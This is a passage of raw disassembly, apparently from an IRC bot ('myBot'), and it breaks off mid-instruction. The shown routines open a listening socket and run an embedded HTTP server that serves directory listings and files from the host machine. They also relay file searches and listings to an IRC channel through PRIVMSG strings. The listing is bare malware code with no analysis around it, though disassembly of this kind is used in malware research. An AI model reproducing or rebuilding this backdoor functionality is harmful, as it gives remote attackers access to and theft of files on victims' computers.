sub_40F986+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_41E180 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push ds:dword_4E5D0C call ds:dword_4F5540 ; send push 1 call ds:dword_4F534C ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40F9C9 pop edi loc_40FA01: ; CODE XREF: sub_40F986+3Bj push esi call sub_41BCF0 pop ecx push ds:dword_4E5D0C call ds:dword_4F5538 ; closesocket call ds:dword_4F5508 ; WSACleanup xor eax, eax inc eax loc_40FA1D: ; CODE XREF: sub_40F986+35j pop esi leave retn sub_40F986 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FA20 proc near ; DATA XREF: sub_401C87+2227o ; sub_40C049+46Co var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_41E4B0 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call ds:dword_4E2FC8 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call ds:dword_4E3048 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_40FDEC mov eax, [ebp+var_254] push 10h imul eax, 234h mov ds:dword_455F0C[eax], edi lea eax, [ebp+var_24] push eax push edi call ds:dword_4E2FF4 ; bind cmp eax, 0FFFFFFFFh jz loc_40FDEC push 7FFFFFFFh push edi call ds:dword_4E2FF0 ; listen cmp eax, 0FFFFFFFFh jz loc_40FDEC lea eax, [ebp+var_14] push eax push 8004667Eh push edi call ds:dword_4E3064 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_40FDEC mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_40FAF7: ; CODE XREF: sub_40FA20+3C2j push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call ds:dword_4E2FB0 ; select cmp eax, 0FFFFFFFFh jz loc_40FDE7 xor edi, edi mov [ebp+arg_0], edi loc_40FB2D: ; CODE XREF: sub_40FA20+3BCj lea eax, [ebp+var_6F0] push eax push edi call ds:dword_4E2EB4 ; __WSAFDIsSet test eax, eax jz loc_40FDD2 cmp edi, [ebp+var_8] jnz short loc_40FBAE lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call ds:dword_4E305C ; accept cmp eax, 0FFFFFFFFh jz loc_40FDD2 xor ecx, ecx test ebx, ebx jbe short loc_40FB80 loc_40FB72: ; CODE XREF: sub_40FA20+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_40FB80 inc ecx cmp ecx, ebx jb short loc_40FB72 loc_40FB80: ; CODE XREF: sub_40FA20+150j ; sub_40FA20+159j cmp ecx, ebx jnz short loc_40FB9D cmp ebx, 40h jnb short loc_40FB9D mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_40FB9D: ; CODE XREF: sub_40FA20+162j ; sub_40FA20+167j cmp eax, [ebp+var_4] jbe loc_40FDD2 mov [ebp+var_4], eax jmp loc_40FDD2 ; --------------------------------------------------------------------------- loc_40FBAE: ; CODE XREF: sub_40FA20+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_41E4B0 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_41E4B0 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call ds:dword_4E2FE0 ; recv test eax, eax jg short loc_40FC35 push edi call ds:dword_4E3060 ; closesocket xor eax, eax test ebx, ebx jbe loc_40FDD2 loc_40FBFA: ; CODE XREF: sub_40FA20+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_40FC22 inc eax cmp eax, ebx jb short loc_40FBFA jmp loc_40FDD2 ; --------------------------------------------------------------------------- loc_40FC0D: ; CODE XREF: sub_40FA20+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40FC22: ; CODE XREF: sub_40FA20+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_40FC0D dec ebx mov [ebp+var_128], ebx jmp loc_40FDD2 ; --------------------------------------------------------------------------- loc_40FC35: ; CODE XREF: sub_40FA20+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41E4B0 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_41BC70 add esp, 10h test eax, eax jbe loc_40FDD2 loc_40FC62: ; CODE XREF: sub_40FA20+2FFj mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FD0E lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_41EBB0 pop ecx test eax, eax pop ecx jz short loc_40FCDE lea eax, [ebp+var_18F0] push eax call sub_41BC70 cmp eax, 5 pop ecx jbe short loc_40FCDE push offset asc_44A706 ; " " push offset asc_44A708 ; " " lea eax, [ebp+var_18F0] push offset aGet_1 ; "GET " push eax call sub_41EBB0 pop ecx pop ecx push eax call sub_41EBB0 pop ecx pop ecx push eax call sub_41F870 push eax lea eax, [ebp+var_23C] push eax call sub_41F620 add esp, 10h jmp short loc_40FCF5 ; --------------------------------------------------------------------------- loc_40FCDE: ; CODE XREF: sub_40FA20+26Dj ; sub_40FA20+27Fj lea eax, [ebp+var_18F0] push offset asc_44A714 ; "\r\n" push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_40FD2A loc_40FCF5: ; CODE XREF: sub_40FA20+2BCj push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_41E4B0 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FD0E: ; CODE XREF: sub_40FA20+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_41BC70 cmp edi, eax pop ecx jb loc_40FC62 jmp loc_40FDD2 ; --------------------------------------------------------------------------- loc_40FD2A: ; CODE XREF: sub_40FA20+2D3j xor eax, eax test ebx, ebx jbe short loc_40FD66 loc_40FD30: ; CODE XREF: sub_40FA20+31Fj mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_40FD58 inc eax cmp eax, ebx jb short loc_40FD30 jmp short loc_40FD66 ; --------------------------------------------------------------------------- loc_40FD43: ; CODE XREF: sub_40FA20+33Dj mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_40FD58: ; CODE XREF: sub_40FA20+31Aj lea ecx, [ebx-1] cmp eax, ecx jb short loc_40FD43 dec ebx mov [ebp+var_128], ebx loc_40FD66: ; CODE XREF: sub_40FA20+30Ej ; sub_40FA20+321j lea eax, [ebp+var_360] push eax call sub_41BC70 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_41BC70 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_40FDC9 and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_4E3064 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_40FFD8 add esp, 14h jmp short loc_40FDD2 ; --------------------------------------------------------------------------- loc_40FDC9: ; CODE XREF: sub_40FA20+36Aj push [ebp+arg_0] call ds:dword_4E3060 ; closesocket loc_40FDD2: ; CODE XREF: sub_40FA20+11Dj ; sub_40FA20+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_40FB2D jmp loc_40FAF7 ; --------------------------------------------------------------------------- loc_40FDE7: ; CODE XREF: sub_40FA20+102j mov edi, [ebp+var_8] xor ebx, ebx loc_40FDEC: ; CODE XREF: sub_40FA20+6Aj ; sub_40FA20+92j ... call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_44A718 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FE32 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409C75 add esp, 14h loc_40FE32: ; CODE XREF: sub_40FA20+3EDj lea eax, [ebp+var_8F0] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push [ebp+var_254] call sub_40B9A7 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_40FA20 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE5C proc near ; DATA XREF: sub_40FFD8+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41EF80 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41EA60 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41EA60 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_40FEC7 push offset aTextHtml ; "text/html" jmp short loc_40FECC ; --------------------------------------------------------------------------- loc_40FEC7: ; CODE XREF: sub_40FE5C+62j push offset aApplicationOct ; "application/octet-stream" loc_40FECC: ; CODE XREF: sub_40FE5C+69j push eax call sub_41EA60 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_4F53D8 ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_4F53D4 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_40FF3F push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41EA60 add esp, 24h jmp short loc_40FF5A ; --------------------------------------------------------------------------- loc_40FF3F: ; CODE XREF: sub_40FE5C+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41EA60 add esp, 28h loc_40FF5A: ; CODE XREF: sub_40FE5C+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call ds:dword_4E3018 ; send cmp [ebp+var_A4], edi jnz short loc_40FF9A lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_410908 pop ecx pop ecx jmp short loc_40FFB7 ; --------------------------------------------------------------------------- loc_40FF9A: ; CODE XREF: sub_40FE5C+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_410287 add esp, 10h loc_40FFB7: ; CODE XREF: sub_40FE5C+13Cj push [ebp+var_44C] call ds:dword_4E3060 ; closesocket push [ebp+var_B4] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_40FE5C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFD8 proc near ; CODE XREF: sub_40FA20+39Fp var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41E4B0 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_41000E push offset aS_14 ; "\\%s" jmp short loc_410016 ; --------------------------------------------------------------------------- loc_41000E: ; CODE XREF: sub_40FFD8+2Dj mov byte ptr [eax], 5Ch push offset aS_15 ; "%s" loc_410016: ; CODE XREF: sub_40FFD8+34j lea eax, [ebp+var_10C] push eax call sub_41EA60 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41BC70 test eax, eax pop ecx jbe short loc_4100B1 mov [ebp+arg_8], 2 loc_410041: ; CODE XREF: sub_40FFD8+D7j lea eax, [ebp+var_10C] push eax call sub_41BC70 cmp [ebp+arg_8], eax pop ecx jnb short loc_410081 cmp [ebp+esi+var_10C], 25h jnz short loc_410081 cmp [ebp+esi+var_10B], 32h jnz short loc_410081 cmp [ebp+esi+var_10A], 30h jnz short loc_410081 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_41009B ; --------------------------------------------------------------------------- loc_410081: ; CODE XREF: sub_40FFD8+79j ; sub_40FFD8+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_410091 push 5Ch pop eax jmp short loc_410094 ; --------------------------------------------------------------------------- loc_410091: ; CODE XREF: sub_40FFD8+B2j movsx eax, al loc_410094: ; CODE XREF: sub_40FFD8+B7j mov [ebp+ebx+var_210], al loc_41009B: ; CODE XREF: sub_40FFD8+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41BC70 cmp esi, eax pop ecx jb short loc_410041 loc_4100B1: ; CODE XREF: sub_40FFD8+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_41EA60 lea eax, [ebp+var_314] push offset asc_44A966 ; "\n" push eax call sub_41F870 add esp, 18h lea eax, [ebp+var_314] push eax call ds:off_4F536C xor esi, esi inc esi cmp eax, 10h jz short loc_4100FF cmp eax, 0FFFFFFFFh jnz short loc_410102 push [ebp+arg_0] jmp short loc_41017E ; --------------------------------------------------------------------------- loc_4100FF: ; CODE XREF: sub_40FFD8+11Bj mov [ebp+var_4], esi loc_410102: ; CODE XREF: sub_40FFD8+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_41010F mov [ebp+var_4], esi loc_41010F: ; CODE XREF: sub_40FFD8+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410189 cmp [ebp+arg_C], edi jz short loc_41017D lea eax, [ebp+var_314] push offset asc_44A968 ; "*" push eax call sub_41F630 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41EA60 lea eax, [ebp+var_210] push eax call sub_4109C5 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41EA60 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_4101D8 ; --------------------------------------------------------------------------- loc_41017D: ; CODE XREF: sub_40FFD8+14Ej push ebx loc_41017E: ; CODE XREF: sub_40FFD8+125j call ds:dword_4E3060 ; closesocket jmp loc_41026E ; --------------------------------------------------------------------------- loc_410189: ; CODE XREF: sub_40FFD8+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:off_4F53C0 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4101D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41EA60 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call ds:off_4F53DC push esi mov [ebp+var_330], eax call ds:off_4F533C loc_4101D8: ; CODE XREF: sub_40FFD8+1A3j ; sub_40FFD8+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_44A96C push eax call sub_41EA60 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B691 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov ds:dword_455F04[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FE5C push edi push edi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov ds:dword_455F14[ecx], eax jnz short loc_41027D push ebx call ds:dword_4E3060 ; closesocket call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset dword_44A9A0 push eax call sub_41EA60 lea eax, [ebp+var_8C4] push eax call sub_415A3C add esp, 10h loc_41026E: ; CODE XREF: sub_40FFD8+1ACj ; sub_40FFD8+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_410275: ; CODE XREF: sub_40FFD8+2ABj push 5 call ds:dword_4F534C ; Sleep loc_41027D: ; CODE XREF: sub_40FFD8+266j cmp [ebp+var_318], edi jz short loc_410275 jmp short loc_41026E sub_40FFD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410287 proc near ; CODE XREF: sub_401C87+7811p ; sub_40FE5C+153p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41E4B0 mov edi, [ebp+arg_0] push offset word_44A9D6 push edi call sub_41F870 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_4102E6 push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41EC30 add esp, 14h jmp loc_4103E2 ; --------------------------------------------------------------------------- loc_4102E6: ; CODE XREF: sub_410287+3Bj cmp [ebp+arg_C], ebx jz loc_4103C8 call sub_41BC70 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send push edi call sub_41BC70 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 0Ch jmp short loc_4103E2 ; --------------------------------------------------------------------------- loc_4103C8: ; CODE XREF: sub_410287+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 10h loc_4103E2: ; CODE XREF: sub_410287+5Aj ; sub_410287+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send cmp [ebp+arg_C], ebx jz short loc_41047A push [ebp+arg_C] call sub_41BC70 cmp eax, 2 pop ecx jbe short loc_41047A push [ebp+arg_C] call sub_41BC70 sub eax, 3 pop ecx jz short loc_41042E loc_410422: ; CODE XREF: sub_410287+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_41042E dec eax jnz short loc_410422 loc_41042E: ; CODE XREF: sub_410287+199j ; sub_410287+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41E510 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send loc_41047A: ; CODE XREF: sub_410287+17Dj ; sub_410287+18Bj lea eax, [ebp+var_388] push eax push edi call ds:off_4F53F0 lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:off_4F53EC test eax, eax jz loc_410871 mov edi, 1FFh loc_4104A6: ; CODE XREF: sub_410287+5E4j cmp [ebp+var_388], ebx jz loc_410859 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_410859 lea eax, [ebp+var_35C] push offset a__1 ; "." push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_410859 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call ds:dword_4F53E8 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:dword_4F53E4 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm_0 ; "PM" cmp ax, 0Ch ja loc_4105A3 mov ecx, offset aAm ; "AM" movzx eax, ax loc_410522: ; CODE XREF: sub_410287+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41EA60 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4106DA inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4105AE lea eax, [ebp+var_35C] push eax push offset aS_16 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41EC30 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41EC30 add esp, 28h jmp loc_41082A ; --------------------------------------------------------------------------- loc_4105A3: ; CODE XREF: sub_410287+28Dj movzx eax, ax sub eax, 0Ch jmp loc_410522 ; --------------------------------------------------------------------------- loc_4105AE: ; CODE XREF: sub_410287+2D5j cmp [ebp+arg_C], ebx jz loc_410698 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_3 ; "%s%s/" push edi push eax call sub_41EC30 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send lea eax, [ebp+var_35C] push eax call sub_41BC70 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_410654 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_410659 ; --------------------------------------------------------------------------- loc_410654: ; CODE XREF: sub_410287+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_410659: ; CODE XREF: sub_410287+3CBj push edi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41081B ; --------------------------------------------------------------------------- loc_410698: ; CODE XREF: sub_410287+32Aj lea eax, [ebp+var_35C] push eax push offset aS_17 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41EC30 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4106C5: ; CODE XREF: sub_410287+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41EC30 add esp, 24h jmp loc_41082A ; --------------------------------------------------------------------------- loc_4106DA: ; CODE XREF: sub_410287+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410704 push ebx push [ebp+var_368] call sub_41727E push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4106C5 ; --------------------------------------------------------------------------- loc_410704: ; CODE XREF: sub_410287+459j cmp [ebp+arg_C], ebx jz loc_410804 push 0E6h push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_4 ; "%s%s" push edi push eax call sub_41EC30 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send lea eax, [ebp+var_35C] push eax call sub_41BC70 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4107AA push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4107AF ; --------------------------------------------------------------------------- loc_4107AA: ; CODE XREF: sub_410287+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4107AF: ; CODE XREF: sub_410287+521j push edi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41EC30 add esp, 1Ch jmp short loc_41082A ; --------------------------------------------------------------------------- loc_410804: ; CODE XREF: sub_410287+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_41081B: ; CODE XREF: sub_410287+40Cj lea eax, [ebp+var_248] push eax call sub_41EC30 add esp, 18h loc_41082A: ; CODE XREF: sub_410287+317j ; sub_410287+44Ej ... lea eax, 